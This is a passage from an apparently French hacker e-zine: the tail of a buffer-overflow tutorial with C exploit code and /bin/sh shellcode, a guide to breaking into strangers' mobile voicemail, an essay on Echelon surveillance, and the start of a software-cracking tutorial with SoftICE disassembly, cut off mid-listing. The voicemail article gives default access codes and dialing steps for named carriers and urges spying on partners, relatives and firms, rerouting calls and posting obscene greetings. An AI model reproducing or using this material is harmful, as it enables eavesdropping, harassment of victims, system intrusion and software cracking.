rare, étant donner la possibilité le limiter la taille des données copiées
qu'offre bcopy()):


#define OFFSET 1028

char shellcode[] =
"\xeb\x1f\x5b\x89\x5d\xf8\xc7\x45\xfc\x00\x00"
"\x00\x00\x6a\x00\x8d\x45\xf8\x50\x53\x8d\x05"
"\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a"
"\x00\x00\x00\x00\x07\x00\xe8\xdc\xff\xff\xff"
"/bin/sh";

main(int argc, char *argv[])
{
char string[OFFSET+4];
int i, j;

/* copie les NOPs */
for(i=0;i<(OFFSET-sizeof(shellcode));i++)
string[i] = 0x90;

/* copie le shellcode */
for(i=i,j=0;i<OFFSET;i++,j++)
string[i] = shellcode[j];

/* Buffer Addr = 0xefbfdd1c */
string[i++] = 0x1c;
string[i++] = 0xdd;
string[i++] = 0xbf;
string[i++] = 0xef;

for(i=0;i<sizeof(string);i++)
printf("%c", string[i]);
}



CONCLUSION
~~~~~~~~~~

Comme je l'ai mentionne plus haut (l'ai-je fait?) cet article n'a qu'une
valeur théorique. En réalité, écrire un buffer overflow est extrêmement plus
simple, étant donner que de nombreux shellcodes ont déjà été écrits pour de
nombreuses architectures différentes. De plus, je ne vous assure aucunement
que l'exploit présenté en exemple marche. Par contre, une chose est sûr,
c'est qu'il reflète bel et bien le

  
fonctionnement d'un buffer overflow
typique, tel que décrit tout au long de cet article.

Sur ce, je vous souhaite bonne chance dans votre chasse aux bugs, en
souhaitant que vous ayez eu le courage de lire l'article en entier. A la
prochaine...





<|-¤ Klog ¤-|>
^^^^^^^^^^^^^^
(also in FrHack)




#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##




¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

CELLULAR BAL INTRUSION

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



1)Intro

Le Cellular Bal Intrusion, est une méthode permetant la prise de
contrôle de boite vocal de téléphone cellulaire. Cette technique est
tres peu utilisée quelque soit le domaine. En effet alors que le CBI
permeterais l' obtention d' informations parfois d' ordre principal,
la technique n' est jamais employée, et bien souvent a tort....
Car non seulement d' une rapidité exemplaire, mais aussi d' une
facilité déconcertante le CBI peut s' appliqué a de nombreux domaines.


2) Fonctionalitées apportés par méthode CBI:

-Ecoute de message de type peronnels et professionels du CBU
(Cellular Bal User).
-Prise de contrôle de la Cellular Bal
-Reroutage des informations
-Défacage du CBM (Cellular Bal Message)


3) Détails et applications

Dans cette section nous observerons les differentes possiblilitées
que vous permettent cette méthode, on étudira ensuite comment réaliser
cette technique. Même si cette technique peut vous paraitre parfois
contraignante du fait que l' information voulu n' est pas toujours à la
clefs, quand elle y est ...

a) Le CBUE

Le CBUE; écoute de message de type peronnels et professionels du CBU
(Cellular Bal User); est la fonctionalitée la plus importante. Elle
peut abordée un objectif proffessionel ou personel.

* CBUE à usage proffessionel.

Cette methode d' intrusion vous permeteras de connaitre des
informations d' ordre privée, tel que la possible négociation de
contrat inter-entreprise, affiliations, ...
Abordons donc comment vous pourrez l' utiliser. Pour commencer vous
devrez vous procurer le numéro de l' agence, entreprise, personalité
sur laquelle vous rechercher des informations. Pour ce faire utilisez les
techniques courantes de Social Engeenering. Une fois cette obtention
réalisée, procédez a cette technique régulierement car les Cellular
Bals sont régulierment mise a jour soit par le fournisseur, soit par le
client lui même. Ensuite reperez et notez ces informations ...
Je vous conseillerais donc d' utiliser le CBUE sur plusieurs membres
aux fonctions importantes de l' entreprise. Je ne pense pas avoir à
vous expliquer comment utiliser ces informations, non?
Ici je vais vous démontrer un exemple de renseignements utiles par une
liste non hexaustive que sont :

-contrats, tractations et affiliations en negotiations entre
entreprises dans le but de devancer l' effet de surprise et de prévoire
une tactique de repliment pour le cas échéant et ne pas etre laisé
(soit en faissant un meilleur offre, ou ... si vous avez une certaine
tâche dans votre entreprise vous serez que faire).

-parfois même obtenir des codes d' accés, détails de sécurités,...
car même ayant connaissance de probleme de sécurité informatique, très
rare sont ceux qui se méfient du contenus de leur Cellular Bals.

-informations sur l' illégalités de certaines actions qui pourrait être
dommagable si tel affaire s' ébruitait... donc favorable pour vous :p .

-tellement de fonctionnalitées, chaque jour vous en découvrirez d'
autres.

* CBUE à usage personnel

Reconstituez strictement les mêmes méthodes que pour l' usage
proffessionel, la difference est juste d' ordre d' application.
Enonçons à qui peut bien servir cette technique; à TOUT le monde!
Aussi bien le détective privé, que l' amoureux transit,
le paranoïaque névrosé que la commère du coin!
En effet vous pourrez prendre connaissance d' informations d' ordre
privées sur un client, voisin, ami, ennemi, votre mère, votre pére,
petite amie ou petit copain, mari ou femme, ... tout ceux qu' il vous
chanteras d' écouter.

Ses applications?
-savoir si votre petit(e) ami(e) vous trompe,
-savoir si votre mére a reçu des messages salace,
-tout et n' importe quoi!

En bref tester, vous en apprenderez certainement beaucoup des personnes
qui vous entourent.

b)Prise de contrôle de la Cellular Bal

Cette technique est simple, àpès avoir eu àcces à la Cellular Bal,
on vous propose des possibilités d' options tel que l' ecoute de la
Cellular Bal, modifiction du CBM (Cellular Bal Message), modification
du code d' àcces, effacement de messages, ...
Soit plein de possiblité d' utilisations à découvrir.

c)Reroutage d' informations

En fait cette tecnique consiste apres une prise de contrôle du
cellulaire à renvoyer les appel à destination du CBU.
Pour ce faire vous changerez le CBM par une redirection vers votre
moyen d' écoute.
Rerouter donc les appels entrant vers vous en donnant par exemple
une raison de changement de numero (" en raison de changement de
fonctionalité de Mr ..son nom.. son numéro proffessionel est désormais
le ..votre n°.. veuillez excuser la ..sa sociétée.. pour ce
dérangement"
).

Voici un simple exemple mais vous en trouverz de multipes solutions
pour le cas ci-contre.
Je vous conseillerais toutefois de changer son code d' àcces au cas
ou il lui prendrait l' idée d' écouter son CBM.
Vous trouverez vous même les applications envisageable en reroutant des
clients à vous.
Utilisez cette procédure avec modération car si le CBU s' apperçoit de
probleme il appelera son service lient et changera l' àcces ... à vous
de voir; mais attendez plutôt des moments propices comme une
commande,...

d)-Défacage du CBM (Cellular Bal Message)

Cette technique est surtout d' ordre personnel, et est le coté fun de
la méthode. Elle permet un défaçage du CBM en le remplaçant par un
message de votre goût ("36015 M...E....N por les hommes qui aiment les
hommes,..."
"je suis une grosses salope en manque de sex, alors si tu
est bien galbé laisse moi un message ou viens chez moi au ...... "
,
etc). Ou tout simplement " YOUR CELLULAR BAL WAS BEEB HACKED BY THE
ARCHIVIST AN MEMBER OF HACKTIF FOR PROTEST AGAINT THE UNSECURITY
SYSTEME OF ITINERIS"


Arf,... c 'est le petit moment de détente, de foutage de geule,
d' humiliation du CBU, de pure trip :p
A consommer sans moderations ...


4) Méthodes

En fait la méthode est tres tres simple, vous vous dites que malgré
tout il va vous faloir quelques notions, apprendre, ....
He! NON! Il vous faut juste un doit pour enculer le CBU...
La raison est une "débilitude profonde" des sysadmins qui n' ont pas
crus bon de protéger l' accés, se disant que ça risquait d' être trop
compliqué pour l' usager... bref voulais pas se fatiguer surtout!!!
Bon la méthode:

-Etape1 : Prenez votre phone en main.
-Etape2 : Composez le n° de consultation a distance du CBM.
-Etape3 : Composez le code par défault pour la consultation du CBM
à distance.
-Etape4 : Euh....y en a pas , plus qu' a faire ce que vous voulez.
-Etape5 : Ben racrochez .... finish.

Et oui aussi simple que ça, maintenant comment connaitre le n° de
consultation à distance, et le code d' acces par défault?

Chaque fournisseur en a des differents et parfois plusieurs même,
idem pour son code. Pour les obtenir lisez la documentation pour la
consultation à distance de sa Cellular Bal, demandez a vos amis
comment ils procedent suivant leur forfait, à des revendeurs, ...

Je ne vais vous donner tout les numeros d' appels et codes car à
vous de chercher un peu aussi, mais pour vous ammuser un peu en voila
tout de même quelques uns:

-ITINERIS:
n° de consultation=06.07.07(ou 08.08. pour les tout récents
abonements) précédés des quatres premiers numéros du télephone en
question suivant le 06. Par exemple pour le 06.83.99.99.99 faites le
06.07.07.83.99.
Ensuite on vous demanderas de rentrer le numéro total suivit de dieze:
faites le 06.83.99.99.99#.
Enfin on vous demanderas le code d' accés, qui est pour itineris par
défaut le 0000 (simple, non? :p ) puis #.
Voilà vous etes dans la Cellular Bal.

-SFR:
Appeler le n° du CBU.
Appuyer sur # lorsque vous écoutez le CBM, puis composer le code d'
accés suivit de # . Le code est le 1 suivit des cinq derniers chiffres
du n° du CBU; puis #; soit pour le 06.83.99.99.99 faites le 1.9.99.99#.
Et si le vous êtes a l' étranger faites +33611 suivi des 6 premiers
chiffres du n° du CBU; soit pour le 06.83.99.99.99 faites le
+33611.83.99.99

Pour cette méthode le code ne doit pas avoir été changé, mais c' est
le cas pour 95% des cas!!! Let' s go!


5) Outro

Le CBI est certainement pas Le grand moyen d' espionnage et d'
obtention d' informations, mais facile d' emploit et de réalisation il
vous sera certainement d' utilitée un jour ou l' autre.
Le CBI est donc bel est bien utilisable dut a une ingérance des
systémes et applications de nos chers (ah bon?) fournisseurs
célulaires . Peut être qu' ainsi, de part ce texte, ils se bougeront et
ferrons enfin leur devoir minimum envers leurs clients, pour un
service déja assez cher payé, en atribuant directement un code d' accés
indépendant et différent à chaque utilisateur. Dans tout les cas Vous
changez le votre et faite le changer aux personnes qui vous entourent,
merci!

Souvent c' est dans l' abus et une trop grande utilisation de
méthodes non légales que les chosent se modifient là où les lettres ne
font rien. Etant donné que les personnes concernées ne veulent rien
faire, forçons les!



)-)< The Archivist ^>(-(
^^^^^^^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##





¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

BIG BROTHER & ECHELON

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




Introduction:

Big Brother c'est quoi au juste big brother, c'est quelqu'un ou quelque chose qui controle
la planete, qui en dépit de toutes les valeurs morales que nous avons, espionne, tue et tout
ca en toute impunité. Aujourd'hui le big brother c'est les States (U.S.A), ca tout le monde
le savait, mais bien plus qu'une simple incursion dans notre vie aujourd'hui les Etats Unis
espionne le moindre faits et gestes de la population mondiale. En effet a l'heure ou l'Europe
veut combattre l'hégémonie américaine un état européen nommé l'angleterre abrite une base qui
permet ses oreilles géantes de nous espionner....


Lexique:


NSA : National Security Agency elle est chargée de la sécurité de l'état américain,
on ne peut pas définir exactement ces objectifs car toutes les directives sont classés
TOP SECRET, donc il est possible d'imaginer le pire. Son budget est de 17 Milliards
de dollars.
Elle fut fondée en 1952 par le président Truman, mais le gouvernement reconnu
sont existence quand 1957.Il faut savoir que c'est le plus gros employeur de
scientifiques (mathématiciens, chiffreurs, déchiffreurs

*NSA : il y a un autre organisme avec les mêmes initiales mais avec une
signification différente National Security Archive. Cette une
organisation non gouvernementale, c'est elle qui a réussit à faire
déclassifier des documents classés TOP SECRET, et dans ces documents
Echelon est explicitement mentionné, on peu découvrir dans ces documents
différente information sur les bases de l'US air force accueillant
ce système dans le monde.

SCS : il y a quelques années la NSA et la CIA aurait créé une agence commune, le SCS
Spécial Collection Service, cette agence serait chargé de décrypter les messages qui
sont extrêmement bien protégé et qui sont longs à décoder. Sa mission est de s'introduire
dans les sytèmes d'informations ( soit par piratage ou en se rendant sur place)
Elle distribue des chevaux de Troie et elle collecte des informations.
Le gouvernement américain n'a jamais reconnu l'existence de cette agence...


Le systeme echelon:

Vous souvenez vous du roman de George Orwell dénoncait un cerveau totalitaire et depourvu
de toute morale humaine. Un espion qui vient de la ou on ne l'attendait pas finit
le temps de l'espion russe ou du james bond agent trainant sur le terrain pour collecter
des informations ou dejouer des complots.Aujourd'hui big brother est partout présent dans notre
vie traquant le moindre secret que nous pourrions vouloir lui dissimuler, il espionne sur
notre vie pour etre au courant de nos moindre faits et geste mais il espionne aussi a une fin
commerciale et industrielle afin de ne pas être dépassé par des illuminés avides de découvertes
et qui n'ont pas comme objectif de faire de l'argent et un profit illimité.Le dévellopemment
des nouvelles technologies et l'insécuirté qui trainent sur le net favorise l'espionnage
Mais c'est quoi au juste ce réseau d'espionnage

On l'appelle le réseau Echelon. Ses détracteurs, c'est-à-dire ceux qui n'y ont pas accès,
l'ont dénommé le Club . Par dérision ou par jalousie. Au motif qu'il est strictement réservé
à cinq Etats dans le monde, qui parlent l'anglais et qui, forts de cette communauté de langue
qui les rapproche et en fait des comploteurs, ont tissé entre eux seuls des liens spéciaux :
les Etats-Unis, la Grande-Bretagne, le Canada, la Nouvelle-Zélande et l'Australie. Echelon
est leur machine de guerre top-secret, même s'il est probable que d'autres pays, selon des
modalités particulières à chacun et restrictives par rapport aux Etats fondateurs, l'ont
rejoint en cours de route, tels, parmi les plus souvent cités, l'Allemagne, le Japon,
la Corée du Sud, la Turquie ou la Norvège.
D'où vient que ce système planétaire de surveillance électronique a suscité autant d'émotion à
Bruxelles, au point que, le 30 mars, le Conseil, la Commission et le Parlement de l'Union
européenne ont prévu d'en débattre après la publication, fin février, d'un rapport ? De la
simple constatation, qui en offusque plus d'un : des alliés espionnent d'autres alliés, puisque,
au sein de ce club anglo-saxon, trois pays appartiennent à l'OTAN (les Etats-Unis,
la Grande-Bretagne et le Canada) et que l'un d'eux, le Royaume-Uni, est de surcroît membre de
l'Union européenne. C'est la loyauté entre alliés qui est gravement affectée.

Tout commence en 1947. L'Union soviétique vient de renoncer à profiter du plan Marshall,
du nom de ce général américain qui fut le principal collaborateur du président Roosevelt pendant
la seconde guerre mondiale et qui, devenu secrétaire d'Etat en 1947, propose à l'Europe, pays
de l'Est compris, de l'assister dans sa reconstruction et son redressement financier. Ce qu'on a
appelé, ensuite, la « guerre froide » entre l'Est et l'Ouest commence. L'Union soviétique, se
croyant assiégée, entreprend de s'entourer d'un glacis protecteur formé de pays d'Europe
centrale.
L'année suivante, un pacte secret, dont les détails le restent encore à ce jour, va lier les
Etats-Unis à la Grande-Bretagne, déjà partenaires, depuis 1943, dans un réseau de renseignement
dénommé Brusa Comint. Ce pacte-là prend le nom de code Ukusa, par référence aux initiales
des deux pays. Deux agences, la National Security Agency (NSA), à Fort George Meade
(Etats-Unis), dont l'existence ne sera reconnue que dix ans après par Washington, et
le Government Communications Headquarters (GCHQ), à Cheltenham (Grande-Bretagne), sont invitées
à préserver les intérêts des deux pays dans le monde en interceptant les transmissions à
l'étranger. La NSA et le GSHQ sont déjà des outils performants en matière d'espionnage
électronique. Leur travail prioritaire consiste à écouter les émissions que s'échangent
les états-majors toujours trop bavards des armées du bloc communiste et desquelles on déduit
l'ordre de bataille sur le terrain, c'est-à-dire leurs capacités à combattre.
Dans les années 70, la France, au travers d'une Bourse des échanges entre services spéciaux
occidentaux, dénommée Totem, a été associée aux interceptions de la NSA, notamment pour
la mise au point de logiciels d'analyse des informations recueillies et pour la communication
d'une série de renseignements sur le dispositif militaire en Europe de l'Est.

Mais Ukusa va grandir ou, plutôt, il enfle. Le pacte de départ attire d'autres candidats
qui veulent, eux aussi, bénéficier des mêmes renseignements. S'y rallient
le Defence Signals Directorate (DSD), à Melbourne, en Australie ;
le Communications Security Establishment (CSE), à Ottawa, au Canada,
et le Government Communications Security Bureau (GCSB), en Nouvelle-Zélande.
Autant de services de renseignement à but militaire, qui sont d'ordinaire très discrets,
voire individualistes et qui confrérie oblige vont apprendre à coopérer sous l'impulsion
des gouvernements en constituant une sainte alliance de l'espionnage.
En s'épanouissant sous le nez des initiés, Ukusa se transforme. Il reste l'un des secrets
les mieux gardés au monde. Il faudra attendre 1972 pour que la revue américaine Remparts,
qui est le moyen d'expression des dénonciateurs du complexe militaro-industriel américain,
publie les confidences d'un ancien de la NSA sans, pour autant, prononcer le nom d'Echelon.
Mais, Echelon existe, caché derrière Ukusa.
Car, entre-temps, l'Ukusa de la guerre froide a engendré ce que d'aucuns, probablement
avec indulgence, qualifient de caricature de Big Brother. Les années 1952, 1957, 1984,
1986 et 1988 marquent les étapes significatives de cette machine à espionner qui se met en
place avec Echelon et qui est capable pour peu qu'on réussisse à recruter les interprètes
adéquats d'intercepter, puis d'analyser, les messages circulant sur la planète à travers une
centaine de langues différentes.
DÈS lors, le destin d'Echelon s'accomplit. Les grandes oreilles ne se satisfont plus
d'écouter l'adversaire éventuel. Tout est cible potentielle : les téléphones, y compris
désormais les mobiles, les telex, les télécopieurs, Internet et la messagerie électronique des
administrations, des entreprises et des particuliers, qui passent, pour la plupart, par les
satellites Intelsat et Immarsat. Les cinq Etats de la sainte alliance se répartissent la tâche :
la NSA américaine se charge des deux Amériques, le GCHQ britannique de l'Europe (Russie incluse)
et de l'Afrique, le DSD australien de l'Asie-Pacifique avec le GCSB néo-zélandais, et le CSE
canadien de l'Europe et des Amériques.
Echelon intercepte, détourne et décrypte les communications civiles et militaires,
même les plus sensibles quand il parvient à déverrouiller leur codage de haute sécurité,
en repérant des mots-clés qui permettent d'isoler les données jugées les plus intéressantes.
Il transmet alors ses informations aux services de renseignement, à charge pour eux de les
interpréter au profit des gouvernements destinataires qui les exploitent.
Longtemps, le système s'est cru à l'abri, lisant à livre ouvert dans les communications
d'autrui. En toute impunité. Et puis sont apparus des dysfonctionnements. Des incidents et des
dérives ont été signalés, souvent par d'anciens agents de la NSA ou du GCHQ qui étaient liés par
des contrats de confidentialité sur leurs activités antérieures, signés en partant, mais qui
n'ont pu se retenir de parler malgré la menace d'un procès. A la NSA, par exemple, de l'aveu du
général Michael Hayden, son directeur actuel, 7 000 des 38 000 employés ont quitté leur travail
durant ces dernières années. Comment les astreindre tous au silence ?
La NSA a tenté de noyer le poisson. C'était compter sans des associations de défense des droits
de l'homme et des libertés individuelles, garantis par la Constitution américaine, qui ont
révélé les turpitudes d'Echelon.
A vrai dire, les interceptions dont sont victimes les gouvernements sont considérées comme
relevant des pièges que se tendent, non sans hypocrisie, les Etats, alliés ou non. C'est
quasiment la règle du jeu, celui de l'espionnage, qui, précisément, n'a pas de règle écrite
ni tacite. A chacun de se préserver. C'est la loi du genre. Et la France, en la circonstance,
est mal venue de se formaliser, elle dont les grandes oreilles se cachent sous l'anonymat
de l'ex-Groupement des contrôles radioélectriques (GCR), devenu la direction technique à la
direction générale de la sécurité extérieure (DGSE), qui dispose de ses écoutes.
Les partisans d'Echelon, aux Etats-Unis, sont convaincus que la découverte des missiles
nucléaires soviétiques à Cuba en 1962, la capture de terroristes sur le paquebot Achille-Lauro
en 1995 ou l'implication de la Libye dans l'attentat contre une discothèque de Berlin en 1996
justifient le travail de stations d'écoutes dans le monde. Il y eut des ratés, comme la prise,
en 1968, par les Coréens du Nord, du Pueblo, un navire-espion américain qui était venu les
narguer devant leurs côtes.
Mais là où le bât blesse, c'est quand ce contrôle clandestin des transmissions s'exerce à
l'encontre d'entreprises en pleines tractations avec un client, rivales de groupes américains
qu'« Echelon » cherche à privilégier, ou quand la surveillance s'étend, sous des motifs plus
ou moins avouables, aux communications entre particuliers, dont la vie privée est scrutée.
Quelques investigateurs, notamment la Free Congress Research and Education Foundation, à
Washington, se sont consacrés à ce travail de fourmi qui consiste à recenser et à mettre
à nu les manquements et les accommodements, face à la loi, du système Echelon, qui,
pendant et après la guerre froide, a continué d'oeuvrer selon la tradition de tous les
services spéciaux dans le monde : Pas vu, pas pris. Ces opérations ne sont connues que
parce que, soudain et après coup, elles arrivent aux oreilles d'un Congrès déterminé à faire
le ménage.
TEL le projet Shamrock , qui a permis d'intercepter les télégrammes émis ou reçus par le
biais de Western Union, RCA ou ITT, durant les années 50 et 60. Tel encore le projet Minaret,
quand les Etats-Unis écoutèrent, entre 1967 et 1973, 6 000 étrangers et 1 700 organisations ou
particuliers américains, parmi lesquels Martin Luther King, Malcom X, Jane Fonda et Joan Baez.
Tel aussi le projet Chaos, qui eut pour objet, sous les présidences de Lyndon Johnson, puis
de Richard Nixon, de traquer des étudiants quelque 7 000 et des militants pas moins d'un
millier d'organisations - hostiles à la guerre du Vietnam. Le Free Congress Research and
Education Foundation rapporte qu'Echelon n'est pas demeuré inactif au Canada et en
Grande-Bretagne. A Ottawa, il s'est agi de découvrir si Margaret Trudeau, épouse du premier
ministre d'alors, consommait de la marijuana. A Londres, du temps de Margaret Thatcher
à la tête du cabinet conservateur, furent écoutés des ministres, des contribuables, comme
le patron de presse Robert Maxwell, ou des médias, tel The Observer, qui s'étaient émus
des activités de Mark, le fils du premier ministre lors de ventes d'armes avec l'Arabie
saoudite.
Dans son rapport examiné fin février, le Parlement européen a identifié la NSA comme ayant
servi de grandes oreilles à Echelon en 1994 pour permettre au groupe américain Raytheon de
souffler un marché de radars, au Brésil, aux deux sociétés françaises Thomson-CSF et Alcatel.
Mais d'autres entreprises ont souffert de cet espionnage matérialisé, outre-Atlantique,
par la création auprès du secrétaire au commerce d'un Conseil économique national, vrai
conseil de guerre pour coordonner et centraliser l'action des services de renseignement
au profit des grands groupes américains. C'est le cas du japonais NEC, dont la NSA intercepte
les messages lors de la vente d'un satellite à l'Indonésie, ou de celui de constructeurs
automobiles japonais en discussions, à Genève, avec Ford, General Motors et Chrysler.
C'est enfin le CSE canadien qui écoute les Coréens du Sud à qui Ottawa veut vendre des
réacteurs Candu en 1991.
On touche là à ce qui, dans cette collecte d'informations tous azimuts, agace en priorité les
partenaires européens de Washington et de Londres. A savoir le coup porté par Echelon et,
singulièrement par les deux pays anglo-saxons les plus engagés dans ce système, à la solidarité
entre alliés. Nul ne remet en question la nécessité de lutter dans l'urgence, au moyen de tous
procédés, contre le crime organisé, le terrorisme, le trafic de drogue, le blanchiment de
l'argent ou la prolifération des armes de destruction massive, auxquels se livrent des
Etats indélicats ou des mafias ayant pignon sur rue. Mais Echelon va beaucoup plus loin.
Au Parlement européen, les Quinze sont mal à l'aise face à cette oligarchie du renseignement et,
pour le moment, ils n'ont pas trouvé de parade sauf à demander sans espoir d'intégrer le
Club. D'autant qu'Echelon essaime et foisonne dans le même temps. Ses retraités,
voire ses démissionnaires, sont de plus en plus sollicités pour mettre leur expertise au service
d'intérêts particuliers. Trés privés. Des mouvements politiques, des entreprises, les milieux
d'affaires, des banques ou des cabinets de consultants, pour s'en tenir à ces quelques exemples,
voient dans ces anciens la manne qui leur fournira les taupes de demain.



Voila pour cette partie sur le système échelon je ferais encore une autre partie car il y a
beaucoup de chose a dire.


ThanKs to all

Hack The Best Fuck The Rest

MAdchat et a Hacktif



<-<< TorKal >>->
^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##






¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

MILLENIUM CRACKING TUTORIAL (PART II)

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


[ NdRedoxx : le génial tutorial de tHE ANALYST continue dans ce noumbeurre touh de
APOCALYPSE, et il se cloturera dans la prochaine issue.
Je vous rappelle également que son ancien pseudo est ACiD BuRN et qu'il a écrit ce turial
sous ce nom là, donc ne vous étonnez pas si vous le trouvez écrit.
Ce deuxième "tome" va du chapitre 8 au chapitre 12, et, comme le précédent, il est clair
et bien expliqué.
Allez, let's go!!! ]



Sommaire
::::::::::
::::::::::


8) Transformer un Programme en son propre keygen
9) Time Limits (limitation de 30 jours et autres merdes !!)
10) Nag et autres Splash screen (diverses méthodes...)
11) Keyfile
12) CD Check (les BPX, et techniques diverses..)






Transformer un programme en son propre keygen
::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::


- Afficher le bon serial à la place du msg d'erreur


Introduction:

Il faut faire un keygen, les keygens c'est marrant mais on va apprendre autre chose cette fois.
On ne va pas coder un keygen (qui d'ailleurs est très simple à faire) mais forcer le crackme
à afficher le bon serial à la place du message: "try again , Blablabla.."


utils nécessaires:

- Soft-ice (it r0x)
- éditeur hexadécimal



Let's kick some ass =)


Bon, déjà on lance ce con de crackme, et on entre son nom: ACiD BuRN et un serial
à 2 francs: 0800
Ensuite dans Soft-ice (ctrl+d) on tape: Bpx hmemcpy
On click sur Register et on arrive dans Soft-ice.. F12 pour sortir dans dlls et dès
qu'on est dans le crackme on commence à tracer.
On arrive assez vite à une routine qui contrôle le type de nom entré (minuscules,
majuscules, espaces, chiffres ...) mais il y a d'abord un check sur la longueur du nom:

025F:004010A3 83F804 CMP EAX,04 <-- compare la taille du nom à 4
025F:004010A6 7304 JAE 004010AC <-- ok si supérieur ou égal à 4
025F:004010A8 C9 LEAVE
025F:004010A9 C21000 RET 0010

Apres ça, il y a le contrôle des caractères :

025F:004010AC BA00000000 MOV EDX,00000000
025F:004010B1 8A8200314000 MOV AL,[EDX+00403100]
025F:004010B7 3C00 CMP AL,00
025F:004010B9 7426 JZ 004010E1
025F:004010BB 3C20 CMP AL,20
025F:004010BD 7408 JZ 004010C7
025F:004010BF 3C41 CMP AL,41
025F:004010C1 7C07 JL 004010CA
025F:004010C3 3C5A CMP AL,5A
025F:004010C5 7F03 JG 004010CA
025F:004010C7 42 INC EDX
025F:004010C8 EBE7 JMP 004010B1
025F:004010CA 6A00 PUSH 00
025F:004010CC 687D304000 PUSH 0040307D
025F:004010D1 684D304000 PUSH 0040304D
025F:004010D6 6A00 PUSH 00
025F:004010D8 E8BD000000 CALL USER32!MessageBoxA


Cette merde check si notre nom a des minuscules, majuscules, espaces ...
Si c'est pas ok, ça jump à 4010CA, et un message box nous dit de n'enter que des majuscules
et des espaces...
Merci, mais on avait compris ;)


Donc, on sort de Soft-ice, on met: ACID BURN comme nom, et 0800 tjs pour le serial
et on y retourne. On trace et on tombe sur la comparaison finale:

025F:0040112D 68F6304000 PUSH 004030F6 <- d 4030f6 = fake serial
025F:00401132 6800314000 PUSH 00403100 <- d 403100 = bon serial
025F:00401137 E840000000 CALL KERNEL32!lstrcmp
025F:0040113C 83F800 CMP EAX,00
025F:0040113F 7517 JNZ 00401158
025F:00401141 6A00 PUSH 00
